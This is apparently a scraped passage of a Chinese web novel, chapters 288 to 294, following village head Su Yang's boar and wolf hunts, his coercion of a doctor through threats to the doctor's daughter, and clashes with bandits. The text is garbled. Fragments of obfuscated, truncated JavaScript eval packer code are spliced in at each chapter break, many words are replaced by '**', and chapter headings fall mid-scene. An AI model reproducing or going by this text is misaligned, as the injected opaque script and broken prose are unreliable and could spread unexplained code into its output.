“我的老天爷,这么多!” 另一个帮工惊得一屁股坐在地上,嘴巴张得能塞下一个鸡蛋。 “以前咋不知道野猪这么好打?俺们村年年都有人被这玩意儿伤了……” 有人开始怀疑人生,感觉自己以前都白活了。 庄稼人哪个没和野猪打过交道? 青龙村靠山吃山,几乎家家户户都和野猪有过“亲密接触”。 许多村民还被野猪伤过,甚至丢了性命,尸骨无存。 可以说,野猪是村民心中挥之不去的阴影,恐惧和仇恨交织。 突然,人群中一个汉子“扑通”一声跪倒在地,对着野猪尸体嚎啕大哭: “爹啊,您老在天之灵可算能安息了!苏村正带着大伙儿给您报仇啦!” 他这一嗓子不要紧,人群里立马炸开了锅,哭声此起彼伏。 “爷爷,您死得冤啊!孙儿不孝,今天才给您报仇……” “叔,您放心去吧,以后再也不用怕野猪糟蹋庄稼了……” 一声声悲恸的哭喊,撕心裂肺,闻者落泪。 原来,这些哭的人,家里都有人丧生在野猪口中,对野猪可谓是恨之入骨。 如今大仇得报,积压多年的悲痛和愤懑终于找到了宣泄口。 他们一边告慰逝去的亲人,一边对苏阳感激涕零。 要不是苏阳,他们还不知道要等到猴年马月才能报仇雪恨! 苏阳也没想到,自己不过是带着大伙儿出来打个猎,竟然能收获这么多感激和敬意。 他心中暗自感慨:看来,这为民除害的好事,以后得多做!不仅能让大伙儿过上好日子,还能赢得民心,一举多得! 等众人情绪稍稍平复,苏阳这才招呼大伙儿动手处理野猪。 “都别愣着了,搭把手!把这些野猪抬回去!” 没有趁手的工具,众人便就地取材。 他们砍下粗壮的树枝,剥下坚韧的藤条,几人一组,合作着把野猪牢牢绑在树干上。 一头野猪少说也有几百斤,必须得四五个人才能抬得动。 众人吆喝着号子,一步一个脚印,沿着崎岖的山路往回走。 兴奋劲儿过去,沉重的野猪让不少人开始叫苦不迭。 肩膀被树干磨得生疼,汗珠子像断了线的珠子一样往下掉。 好不容易出了山,来到卧龙沟北岸的厂区。 那些原本还在张望的帮工们,看到这阵仗,顿时炸开了锅,呼啦一下全围了上来。 “哎呦喂,真是野猪啊!还是六头!” “这得多少肉啊!够咱们吃好几顿了吧!” “苏村正真是神了!带着一群半大小子,竟然能干出这么大的事!” “有了这些肉,咱们干活更有劲儿了!” 大伙儿议论纷纷,看着野猪的眼睛里都冒着绿光。 这年头,肚子里缺油水,能吃上一顿肉,比过年还高兴! 苏阳站在人群中,看着一张张兴奋的脸,心里也美滋滋的。 他清了清嗓子,朗声说道:“乡亲们,今天大家伙儿辛苦了!晚上加把劲,把这些野猪收拾干净,明天,咱们开荤,吃野猪肉!” “好嘞!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他正想严词拒绝,可话到嘴边,又硬生生咽了回去。 第二百八十八章 因为他看到,苏阳正冲他挤眉弄眼,还偷偷比划了一个掐脖子的动作。 钱福生顿时像被踩了尾巴的猫一样,浑身的**都炸起来了。 他想起了苏阳的“威胁”,瞬间就怂了。 “我……我试试……” 他哭丧着脸,声音比蚊子哼哼大不了多少。 没办法,谁让自己有把柄落在人家手里呢? 人为刀俎,我为鱼肉,只能任人宰割了! 于是,在众目睽睽之下,钱神医硬着头皮,操起了杀猪刀。 一开始,他手忙脚乱,笨手笨脚,把野猪弄得血肉模糊,惨不忍睹。 那场面,简直比**现场还吓人。 不少胆小的帮工都吓得捂住了眼睛,不敢再看。 可渐渐地,钱福生竟然找到了感觉。 他越杀越顺手,动作也越来越麻利。 到了后来,简直就像换了一个人似的。 只见他手起刀落,干脆利落,每一刀都恰到好处。 原本还一脸嫌弃的众人,渐渐地都看呆了。 这哪是杀猪啊,简直就是艺术! 等六头野猪都收拾妥当,钱福生已经累得满头大汗,气喘吁吁。 可他脸上却露出了兴奋的神色,眼睛里闪烁着异样的光芒。 那种感觉,就像是发现了新大陆一样! “老钱,怎么样?是不是很有成就感?” 苏阳笑嘻嘻地凑了上来。 钱福生没有说话,只是一个劲儿地喘粗气。 他现在浑身酸痛,只想找个地方躺下,好好睡一觉。 “老钱啊,辛苦你了!” 苏阳拍了拍钱福生的肩膀,表示慰问, 谁知他话锋一转:“这样,今晚我亲自掌勺,给你做一道拿手好菜——爆炒猪下水!” “呕……” 钱福生再也忍不住了,扶着一棵树,哇哇地吐了起来。 一想到猪下水那股腥臊味,他就觉得胃里一阵翻江倒海。 “苏……苏村正,我……我求求你,别说了……” 他脸色苍白,有气无力地说道。 “好好好,我不说了。”苏阳连忙闭嘴,他可不想把这位“神医”给吓跑了。钱福生嘴上推辞,可肚子却不争气地咕咕叫。 苏阳亲自做的杀猪饭,他闻着味儿就迈不动腿了。 大夫到底跟常人不同,心理承受力强,前一秒还吐得昏天黑地,后一秒就胃口大开,甩开腮帮子猛吃。 苏阳做菜,突出一个“香”字。 他特意从城里南货铺子买回的香料,可不是吃素的,再腥臊的野猪肉,也能给收拾得服服帖帖。 钱福生埋头猛吃,他那闺女钱晓柔和小丫鬟翠环,也没闲着,小嘴儿塞得满满当当。 钱福生余光瞥见,眉头一皱,却没说什么,只是加快了扒饭的速度。 …… 苏阳可没藏私。 第二天,他手底下的兄弟,厂区上的帮工,还有卫村队的队员,一个都没落下,全都吃上了香喷喷的野猪肉! 六头野猪,苏阳带着人,一晚上就给料理干净了,这事儿早就在青龙村传遍了。 大伙儿一边嚼着肉,一边咂摸着滋味,心里头都跟明镜似的: 跟着苏村正,准没错! 好日子,还在后头呢! …… 青龙村这边,大伙儿吃肉吃得欢天喜地。 清阳县城里,顾明远却气得七窍生烟。 “萧煞,你个挨千刀的王八蛋,给老子等着!” 他咬牙切齿,恨不得把萧煞给活吞了。 昨天傍晚,萧煞带着人,直接闯进门,二话不说就抢走了肥掌柜新弄来的三个小妾。 那些女人,之前是肥掌柜的宝贝,现在可都是他顾明远的! 萧煞仗着拳头硬,顾明远敢怒不敢言,可心里早就憋了一股火。 这都过了一夜了,想到那几个狐狸精,顾明远还是气得浑身发抖! 萧煞这已经是第二次来抢人了,前前后后,弄走了他六个女人! 肥掌柜家底再厚,也经不住这么折腾啊。 如今,留给顾明远的,就只剩下俩了。 可两个女人,哪儿够他顾明远玩儿的? 他这人就好个热闹,人少了,没劲! 咋办? 顾明远眼珠子一转,开始琢磨着,上哪儿再弄几个美女来。 反正有肥掌柜顶着,他只管胡作非为,天塌下来,也有人扛着。 这清阳县,虽说不大,可要说找几个漂亮女人,那还不是手到擒来? 他连门都不用出,手底下的人,就给他送来了消息。 “四当家的,东街药铺门口,有个女人,那叫一个俊!” 几个手下眉飞色舞地描述着,就差流口水了。 “前几天,哥几个在那儿遇上了,差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那盘加了料的红烧肉,到底进了谁的肚子,也成了个谜…… …… 第二百八十九章 清阳县里,人心惶惶。 临溪村这边,却是一片祥和。 “大丫啊,咱家小四子,不能再这么野下去了,得送他去书院,好好读书!” 王麻山坐在炕头,吧嗒着旱烟,跟自家闺女商量着。 赖志成的老婆,把头摇得跟拨浪鼓似的。 她就这么一个宝贝儿子,哪儿舍得让他离开自己身边? “大丫,你可不能由着他胡来!再这么下去,这孩子就毁了!” 王麻山苦口婆心,总算把自家闺女给说动了。 赖志成的老婆,抹着眼泪,把小儿子卓小四送上了路。 卓小四的亲舅舅,带着他,离开了临溪村,说是要送他去城里念书。 卓小四早就想离开这穷乡僻壤了。 之前跟着赖志成去过一趟城里,那花花世界,可把他给迷住了。 “等着吧,你们这群土包子,等小爷我学成了,回来让你们好看!” “苏二,郑老狗,你们不是看不起小爷吗?早晚有一天,让你们跪在地上,给小爷磕头!” 卓小四心里头,美滋滋地盘算着。 “小四子,你咧嘴笑啥呢?走,跟舅舅去那边树林子里,撒泡尿去!”卓小四的舅舅,脚步虚浮地挪出了小树林。 他回头望了一眼,眼神躲闪,像是在刻意回避什么。 身后,空荡荡的。 卓小四呢? 没人知道。 或许,只有天知,地知,还有他和王麻山心照不宣。 王麻山这人,向来是眼里不揉沙子。 卓小四这种惹祸精,留在身边就是个烫手山芋。 送走! 越远越好,最好这辈子都别再踏进临溪村半步! …… 王麻山那边是如释重负,可三溪镇的吕巡检,却感觉自己像是热锅上的蚂蚁。 几张底牌攥在手里,每一张都沉甸甸的,仿佛随时能压垮他。 可问题是,怎么出? 跟谁斗? 他心里没谱。 第一张牌,是顾明远派来的那两个眼线。 这两个家伙为了保命,把顾明远的老底都给抖搂干净了。 说他是青虎岭的匪首,还跟郑县尉狼狈为奸,背地里没少干男盗女娼的事。 第二张牌,是从青虎岭上解救下来的那十几个肉票。 其中有两个自称是清阳县凤子楼的少西家,说是肥掌柜的亲生骨肉。 他们声泪俱下地说,自家老爹已经被青虎岭的土匪给挟持了,现在就是个傀儡,一举一动都得听四当家的摆布! 这事儿可就闹大了,简直是天塌地陷! 吕巡检捋着胡须,眉头拧成了疙瘩,心里头翻江倒海。 他在权衡,要不要把顾明远这层伪装给撕破?要不要跟郑县尉真刀**地干一场? 为了防止消息走漏,他连夜把三溪镇客栈的老板给控制起来了。 这老板,可是郑县尉的八竿子打不着的亲戚。 吕巡检这一招,可谓是险中求胜。 他机关算尽,却百密一疏。 扣了客栈老板,他家里人能坐视不管? 这么浅显的道理,吕巡检竟然疏忽了。 是年老昏聩,反应迟钝了? 还是平时养尊处优惯了,对这些细枝末节的事不屑一顾? 亦或许是吕管事身负重伤,手底下没人能堪当重任,这才捅出这么大的娄子。 客栈老板的家人也不是省油的灯。 眼见自家顶梁柱被抓,直接击鼓鸣冤,跑到县衙,找到郑县尉一把鼻涕一把泪地哭诉。 郑县尉一听这事,一头雾水。 他压根不知道顾明远派人去三溪镇这档子事。 还当是自家那个远房亲戚不长眼,冲撞了吕巡检。 大笔一挥,修书一封,言辞恳切地请吕巡检网开一面,给个薄面。 那送信的也是个没心眼的,以为是郑县尉出面求情。 拿着信就急匆匆地往回赶,想方设法把信送到了吕巡检手里。 吕巡检展开信,扫了一眼,脸色刷地就白了。 他心里直犯嘀咕,像是有一群猫在挠,心痒难耐。 他吃不准,郑县尉是真的蒙在鼓里,还是故意装傻充愣? 要是不知情,倒还罢了。 可要是知情,还敢写这么一封信…… 那这背后的水,可就深不见底了! 这不就是明修栈道,暗度陈仓,先稳住自己,再伺机而动吗? 吕巡检不敢冒险。 官场如战场,稍有不慎,满盘皆输。 先下手为强,后下手遭殃。 真要是等郑县尉先出招,那他可就彻底回天乏术了。 吕巡检猛地一跺脚,钢牙紧咬,像是在跟自己较劲。 “他奶奶的,拼了!” 事已至此,退无可退, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏阳还听村里的老人们闲聊时说起,青龙村早些年失踪过三个娃子,都说是让山里的狼给叼走了,也不知是真是假。 苏阳准备对卧龙沟北面下手,这就相当于把地盘延伸到了青岭边缘。 第二百九十章 如果山里的狼群跑出来撒野,那他的损失可就无法估量了。 更别说,他还打算发展养殖业,就更不能放任这些狼崽子在自家地盘上横行霸道了。 因此,得知狼出没的消息,苏阳不仅没害怕,反倒摩拳擦掌,跃跃欲试。 阴弓叔在一旁劝了又劝,可苏阳就跟王八吃秤砣——铁了心,非要跟狼群较量一番。 狼群,可是阴弓叔心里头的一道疤。 他的那只手,就是在一次跟狼群的搏斗中,被硬生生给撕扯下来的。 所以,对于阴弓叔来说,他是既想手刃仇敌,又对狼群心有余悸。 “阳哥儿,你可得三思而后行啊,狼这东西,最是睚眦必报,咱要是能把它们斩尽杀绝还好,万一让它们跑了几只,那可就后患无穷了……” “七叔,您这话说的,我咋就这么不爱听呢?” 苏阳撇了撇嘴, “不是我非要惹是生非,您老仔细想想,我打算在卧龙沟北边搞开发,就等于把地盘扩到了青岭边上,早晚要跟这些狼碰上,与其等将来出了事,鸡鸭被叼走了,人被咬伤了,再来想辙,不如抢占先机,直接把危险扼杀在萌芽状态,这样也能减少损失,您说对不对?” 苏阳可不相信狼有什么能耐。 还报仇? 真要让它们尝到厉害,吓破了胆,一个个跑得比兔子还快,复仇什么鬼。 说到底,动物就是动物,欺软怕硬。你比它强,它就怕你,你比它弱,它就欺负你。没什么好遮掩的! “唉,你这娃儿,咋就不听人劝呢?” 阴弓叔摇了摇头, “得得得,既然你非要跟狼群过不去,那老朽我就豁出这条老命,陪你疯一回!”“七叔,跟这帮畜生,没啥道理好讲。” 苏阳的眼神冷了下来, “咱卧龙沟的地盘都扩到青岭边上了,跟狼群碰上是早晚的事!躲?躲得过初一,躲不过十五!” 他顿了顿,声音低沉, “与其等以后出了事,鸡鸭被叼,娃子被咬,倒不如现在就动手!” 苏阳不信邪。 报复? 在绝对的实力面前,一切都是虚的。 狼群真要敢来,他不介意让这帮畜生见识见识,什么叫真正的狠! 阴弓叔嘴唇翕动了几下,最终化作一声长叹, “你这娃儿,咋就不听劝呢?” 他摇了摇头, “罢了罢了,既然你铁了心……” 老人浑浊的眼中闪过一丝决然, “老朽这条老命就豁出去,陪你疯这一回!” …… 找猎物,比杀猎物难。 要在山里头瞎转悠,靠撞大运,那纯粹是拿命开玩笑。 阴弓叔是老猎人了,既然发现了狼群的踪迹,就断然没有找不到的道理。 一个多小时后, 一行人摸到了一道山梁顶上。 苏阳小心地拨开挡在面前的灌木枝条, 朝山下望去。 底下是个不大的山谷, 一群狼正挤在一起, 闭着眼睛打盹。 数量不多, 也就**只。 苏阳微微皱了皱眉。 这地方虽然也算暖和, 但和之前猎杀野猪群的山谷比, 开阔了不少。 想玩关门打狗那一套, 怕是行不通了。 狼这玩意儿, 贼精, 和傻乎乎的野猪不一样。 真要让它们撒开蹄子跑, 这帮人累断腿也追不上。 好在, 还有阴弓叔。 既然苏阳没打算把狼群一窝端, 阴弓叔就有把握弄死其中几只。 经验丰富的阴弓叔, 特意选了个下风口。 这样一来, 就算狼鼻子再灵, 也闻不到他们的气味。 “都过来,捡树枝,树叶,像我这样……” 苏阳把人都招呼到山梁背面, 低声吩咐着, 一边动手, 把捡来的枯枝败叶往身上绑。 众人面面相觑。 眼瞅着就要打狼了, 这是要干啥? 点火熏狼? 这也太不靠谱了吧! 连阴弓叔都一头雾水, 他盯着苏阳,眼神里满是疑惑, “阳哥儿,你这是……要请神?” “对头!” 其他小子们立马来了精神, 一个个摩拳擦掌。 阳哥儿是谁? 那可是菩萨跟前的红人! 他要出手, 肯定跟咱普通人不一样! 一会儿指不定整出啥动静呢! 大家伙儿七手八脚地忙活起来。 苏阳也没闲着, 他先是把陈木生从头到脚“捯饬”了一遍。 待动作结束之际, 陈木生已经活脱脱一个“草人”了。 浑身上下, 布满了干枯的落叶残枝, 脑袋上还顶了个用树枝编的圈。 其他人看得直发愣, 这……这是要干啥? 莫非是……要跳大神? 阴弓叔眯缝着眼睛, 盯着“草人”陈木生, 似乎想到了什么…… 等苏阳让陈木生趴下, 阴弓叔一拍大腿, “阳哥儿,我懂了!你是想……让狼看不见咱们,对不对?” 苏阳嘿嘿一笑, “七叔,还是您老经验丰富!” 他弄的, 其实就是一件简易的伪装服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谁厉害, 谁就有理! 头狼低吼一声, 两只狼立刻从狼群中窜了出来, 一左一右, 朝山坡逼近。 区区一只山鸡, 还用不着整个狼群出动。 捕猎, 也得讲究个投入产出比。 出动的狼多了, 抓到的猎物不够分, 那可就亏大了。 即便山鸡已经成了“瓮中之鳖”, 两只狼依旧小心翼翼。 第二百九十一章 它们绕着山坡, 慢慢靠近, 直到距离缩短到七八米, 山鸡终于察觉到危险, 这才猛地发动攻击! 受伤的山鸡哪还跑得掉? 两只狼几乎是同时扑了上去。 眼瞅着, 其中一只狼就要一口咬住山鸡的脖子…… 就在这时! 阴弓叔猛地打了个手势! 早就憋足了劲的众人, 毫不犹豫地扣动了**机! 为了隐蔽, 大伙都藏在灌木丛里, 身上还披着伪装。 “嗖嗖嗖——” **箭破空的声音, 几乎同时响起! 六支**箭, 三箭直取左方的野狼, 三支射向右边的狼!两匹狼几乎同时僵在原地,身体微微颤抖。 灌木丛后怎么会有人? 还没等它们的大脑处理完这个信息,“嗖嗖”的破空声已经响起! “嗷……” 凄厉的狼嚎声划破寂静的山林,两匹狼挣扎了几下,便没了动静,为它们的贪婪付出了生命的代价。 苏阳带来的蹬张**可不是吃素的,那威力,别说狼了,就是一头壮牛也能射穿。 一匹狼身上中了一箭,另一匹更惨,直接被两箭穿了身子。 **箭深深扎进它们的身体,内脏怕是都被射烂了,两匹狼瞬间毙命,死得透透的。 这几声惨叫,如同在狼群中扔下了一颗**。 山坳里的狼群瞬间炸了锅,一只只竖起耳朵,绿油油的眼睛死死盯着山坡方向,喉咙里发出低沉的呜呜声。 出发之前,阴弓叔就千叮咛万嘱咐,让大家射完箭之后千万别动,要是被群狼盯上。 苏阳更是身披吉利服,往那一趴,跟周围的环境融为一体。 几百米外的狼群,一时间竟然没发现山坡上还藏着人。 过了好一会儿,一匹狼才小心翼翼地走了过来。 不用说,这是头狼派出来的侦察兵,估计是想看看同伴到底是**的。 这侦察狼也是个机灵鬼,走到一半,突然停了下来,鼻子不停地嗅着,似乎闻到了什么不寻常的气味。 下一秒,这家伙掉头就跑,比兔子还快! “嗷呜……” 尖锐的狼嚎声在山谷中回荡,这是侦察狼在向同伴发出警告。 它那点小聪明在人类面前根本不够看,早有人等着它呢! 半个足球场那么远,正好在蹬张**的射程之内。 苏阳深吸一口气,稳稳地扣动了**。 “嘣!” **箭离弦而出,精准地命中了侦察狼的屁股。 侦察狼惨叫一声,一头栽倒在地。 这一箭虽然没能直接要了它的命,但也够它受的了。 侦察狼拼命挣扎,想用前腿撑着身体爬起来,但这弓**劲道猛,估计把骨头都射断了,试了几次都没能成功,只能趴在地上哀嚎。 这一下,山坳里的狼群总算是看清了敌人的真面目。 头狼也是个狠角色,眼看情况不妙,立马带着狼群掉头就跑,那叫一个果断。 什么报仇雪恨,在生存面前都是浮苏。 只要能活下去,以后有的是机会! 头狼想得挺美,可它还是低估了人类的智慧。 阴弓叔早就料到它们会逃跑,提前在它们逃跑的必经之路上设下了埋伏。 当剩下的几匹狼慌不择路地从一条羊肠小道冲出来时,两侧的灌木丛中,突然射出了一阵箭雨! 头狼仗着自己个头大,目标也大,反而成了众矢之的。 三支**箭几乎同时朝它飞去,封**它所有的退路! 就在这生死关头,头狼展现出了惊人的求生本能,只见它猛地一蹬腿,身子在空中不可思议地扭动了一下,竟然硬生生躲过了这致命的三箭! 后面的狼可就没这么好的运气了,两匹狼躲闪不及,被**箭射了个正着,惨叫着倒在了地上。 灌木丛后面,石头气得直拍大腿,嘴里骂骂咧咧: “他奶奶的,这都能让它跑了!老子的箭法还是不行啊!” 狼群逃跑的速度极快,根本不给他们第二次射击的机会。 几匹狼转眼间就消失在了密林深处。 前后两次伏击,总共射杀了五匹狼,战果不可谓不辉煌。 要知道,这支狼群总共才九匹狼,一下子就损失了一大半,元气大伤。 要是短时间内找不到新的成员加入,这支狼群估计也就离覆灭不远了。 和石头的沮丧不同,苏阳一点也不觉得可惜。 阴弓叔虽然有些遗憾没能全歼狼群,但苏阳却笑得合不拢嘴。 “七叔,您想想,咱们才几个人?能打成这样已经很了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这不仅仅是几具狼尸,更是青龙村人对未来美好生活的希望! 当然,谁都知道一口吃不成胖子,开发青岭还得一步一步来。 眼下最重要的,还是保持警惕,不能掉以轻心。 第二百九十二章 等以后苏阳把山里的野兽都收拾得差不多了,再大举进山也不迟。 苏阳见大家兴奋不已,也来了兴致,决定给大家助助兴。 按照惯例,打了胜仗,自然要好好庆祝一番。 于是,他大手一挥,扯着嗓子喊道: “都别愣着了,把狼肉炖上!今晚咱们开荤,吃狼肉大餐!” 人群中顿时爆发出一阵欢呼声。 紧接着,苏阳又把钱福生叫了过来,神秘兮兮地说道: “老钱,我又给你带‘礼物’回来啦!” 钱福生一听这话,脸都绿了,嘴角不停地抽搐着,半天说不出一个字来。 上次解剖野猪的经历还历历在目,那种挥之不去的恶心感,让他至今想起来还想吐。 现在可倒好,又弄来五具狼尸,这是真要把自己当成专职屠夫了啊! “怎么,老钱,你不乐意?” 苏阳见钱福生不说话,故意板起脸问道。 钱福生心里那叫一个憋屈,可又不敢发作,只能硬生生地把这口气给咽了回去。 他哭丧着脸,有气无力地说道: “哪能啊……村正您说笑了……” 苏阳见状,嘿嘿一笑,故意逗他: “不乐意也没关系,反正你那宝贝闺女也……” “别别别!我乐意,我乐意还不行吗?” 钱福生一听苏阳又拿自己闺女说事,顿时就慌了神,连忙改口。 他眼泪都快流下来了,声音里带着哭腔: “村正,您就饶了我吧,我解剖,让我来研究它不行??” 苏阳这才满意地点点头,语重心长地说道: “老钱啊,你得这么想,像狼尸这种东西,平时你想找都找不到。我这可都是为了你好,为了锻炼你的医术啊!你得心怀感恩,懂吗?” 钱福生听了这话,差点没气得背过气去。 感恩? 我感你个大头鬼! 要不是你老拿我闺女威胁我,我早就跟你拼了! 看着钱福生那敢怒不敢言的样子,苏阳心里那叫一个舒坦。 他清了清嗓子,一本正经地说道: “来来来,老钱,我再给你传授一些独门的医学秘诀,你可得好好学,别辜负了我的一片苦心!”“……老弟,再给我讲些新东西呗?” 钱福生腆着脸,笑眯眯地凑近苏阳,两只手不安分地搓来搓去,活像一只偷了鸡的黄鼠狼。 那眼神,就跟饿了三天三夜的野狗,瞅见了一块肉骨头,绿油油的,瘆得慌。 苏阳激灵灵打了个冷战,只觉得一股寒气从脚底板直窜脑门,昨晚上做的噩梦,到现在都心有余悸。 梦里头,钱福生那张老脸,一会儿是救死扶伤的活菩萨,一会儿是杀气腾腾的阎罗王。 他左手拎着一把寒光闪闪的解剖刀,右手还牵着他那如花似玉的闺女钱晓柔,阴森森地笑着: “苏二啊,这人体经络的奥秘,你是讲,还是不讲?你要是讲了,嘿嘿,保你三年抱俩,儿孙满堂。要是不讲……老夫这刀,可是不长眼睛的!” “我的亲娘嘞……” 苏阳猛地惊醒,一身冷汗把里衣都浸透了。 窗外天光大亮,可他愣是熬出了一对熊猫眼,跟霜打了的茄子似的。 “这哪是捡回个大夫,分明是请回了一尊催命的黑判官!” 苏阳心里头那个悔啊,恨不得抽自己俩嘴巴子,让你嘴贱,让你手欠! 正胡思乱想着,钱晓柔端着饭菜进来了。 苏阳一见她,就像耗子见了猫,嗖的一下蹿到墙角,后背紧紧贴着墙壁,恨不得找个地缝钻进去。 “秀……晓柔啊,饭……饭你放下,那个,我这儿……你先忙你的去吧!” 苏阳结结巴巴的,舌头都捋不直了,活像见了债主的穷鬼。 钱晓柔被他这反常的举动弄得一头雾水,眨巴着大眼睛,满脸疑惑:这苏二哥,今儿个是咋的了?吃错药了? “咳咳,那个,再给俺也盛一碗!” 还是钱福生脸皮厚,压根没注意到苏阳的异样,只顾着填饱肚子。他飞快地扒拉着碗里的饭,还不忘招呼闺女添饭。 钱福生:“……” 钱福生默默地扒拉着碗里的饭,眼角的余光却不住地瞟向自家闺女。 这苏二今天咋跟变了个人似的?莫非……是看不上俺家晓柔?不能啊,俺家晓柔模样俊,手脚勤快,打着灯笼都难找! 另一边,路旭东和毕明志早就坐不住了。 自从陈木生和孔远山他们猎了狼,这俩家伙就跟屁股上长了钉子似的,一刻也闲不住。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这大冷的天,清阳县的人跑来干啥?难道是曹彬那家伙,又想搞什么幺蛾子? 第二百九十三章 ” “就俩人?” 苏阳追问道。 “没错,就俩人,俺们还特意爬到墙头上看了,四周围连个鬼影子都没有!” 卫村队员拍着胸脯保证道。 自从苏阳当了村正,青龙村就跟铁桶似的,村门紧闭,严禁任何人随意出入,就怕青虎岭的土匪来个回马枪。 “石头,你带几个人去看看,把人带过来。” 苏阳想了想,还是决定先见见再说。 “得嘞!” 陈木生应了一声,点了几个平日里机灵点的小子,拎着家伙事儿就出了村。 没过多久,陈木生就回来了,身后跟着两个穿着公服,腰挎长刀的汉子。 这俩人一进院子,就大摇大摆地往凳子上一坐,翘起了二虎腿,一副“老子天下第一”的模样。 “你就是苏阳?” 其中一个留着八须凌的汉子,斜着眼睛打量着苏阳,语气傲慢地问道。 “没错,我就是。你们是……” 苏阳不动声色地反问道。 “嘿,你小子还挺有眼力劲儿的!知道爷们儿是谁吗?” 另一个尖嘴猴腮的汉子,从鼻孔里哼了一声,一脸不屑地说道。 “不知道。” 苏阳摇了摇头,语气平静。 “听好了,俺们可是清阳县严都生手下的!这次来,是奉了严都生的将令,有要事找你!” 八须凌汉子说着,还故意挺了挺胸膛,仿佛自己是什么了不得的大人物。 “哦?严都生找我?可我并不认识他啊。” 苏阳故作疑惑地问道。 “嘿,你小子少跟老子装糊涂!严都生的大名,谁人不知,谁人不晓?你敢说你不认识?” 尖嘴猴腮的汉子冷笑一声,语气里带着威胁。 “行了,少跟这小子废话!赶紧的,让你们村里的人准备酒菜,老子都快饿扁了!” 八须凌汉子不耐烦地打断了他,大声嚷嚷道。 “对对对,先弄点吃的垫垫肚子!等吃饱喝足了,再跟这小子慢慢算账!” 尖嘴猴腮的汉子也附和道。 苏阳看着这俩人一唱一和,心里头冷笑连连: “这俩货,演戏还演上瘾了!真当老子是傻子,看不出你们是假冒的?” “周阳!” 苏阳突然大喊一声。 “到!” 周阳早就等得不耐烦了,听到苏阳的喊声,立刻跳了出来,两只眼睛瞪得像铜铃。 “这俩装官差的贼人,给我拿下!” 苏阳一指那两个汉子,冷冷地说道。 “得嘞!” 周阳二话不说,直接扑了上去。 那两个汉子还没反应过来,就被周阳一脚一个踹翻在地。 “你……你们敢!老子可是严都生的人!你们这是**!” 八须凌汉子一边挣扎,一边色厉内荏地吼道。 “造**反!老子看你们才是反贼!” 周阳啐了一口,上去又是一脚。 几个早就摩拳擦掌的小子一拥而上,三下五除二就把那两个汉子捆了个结结实实,还拿破布堵住了他们的嘴巴。 “拖下去,好好‘伺候’着!老子倒要看看,他们背后到底是谁在捣鬼!” 苏阳冷冷地说道。 “阳哥儿,这俩孙子招了,他们是青虎岭顾明远的人假扮的!” 没过多久,周阳就回来了,一脸兴奋地说道。 “顾明远?他派人来干啥?” 苏阳眉头一皱,问道。 “众人一头雾水,只说是奉了肖麻当家的命令,让您去清阳县城里走一趟……” 周阳挠了挠头,说道。 “哼,两个没用的东西!给我接着审,我就不信撬不开他们的嘴!” 苏阳眼中闪过一抹寒光,冷冷地说道。“远山,你也跟着去。” 苏阳用手指点了点,目光落在了孔远山的名字上。 孔远山一听,险些没直接乐出声来,心想关键时刻还得看我老孙出马!可面上还得装出一副严肃的样子。 周阳在一旁暗自撇嘴,觉得有自己出马就足够了,带着孔远山纯属多余。 不过,等到孔远山真的跟着去了之后,周阳才意识到苏阳这个安排是多么英明。 这孔远山,鬼精鬼精的,那俩土匪说没说瞎话,他瞅一眼心里就跟明镜似的。 一番“招待”下来,两个土匪终于扛不住了,竹筒倒豆子般交代了一切: “阳哥儿,这俩小子招了,是青虎岭的顾明远,肖麻当家的指使他们来的。” 孔远山压低了声音,神神秘秘地凑到苏阳跟前。 “那顾明远还说了,要是您没识破他们的假身份,傻乎乎地跟着他们进了城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏阳看着眼前这两个灰头土脸的家伙,眉头紧锁:“说吧,你们是干什么的? 第二百九十四章 ” 那两个差役心里这个憋屈啊,心说我们还想问问你是干什么的呢! 好端端的,我们也没得罪你,怎么一见面就动手啊? “是……是吕巡检,让您……带着青龙村的乡勇去镇上一趟,我们……是来传话的……” 其中一个差役战战兢兢地回答。 苏阳又仔细盘问了一番,确认这两个人确实是三溪镇的差役,不是假冒的。 “吕巡检找**什么?我们青龙村今年的差事都完成了。” 苏阳问道。 那两个差役生怕再挨顿揍,赶紧摇头摆手: 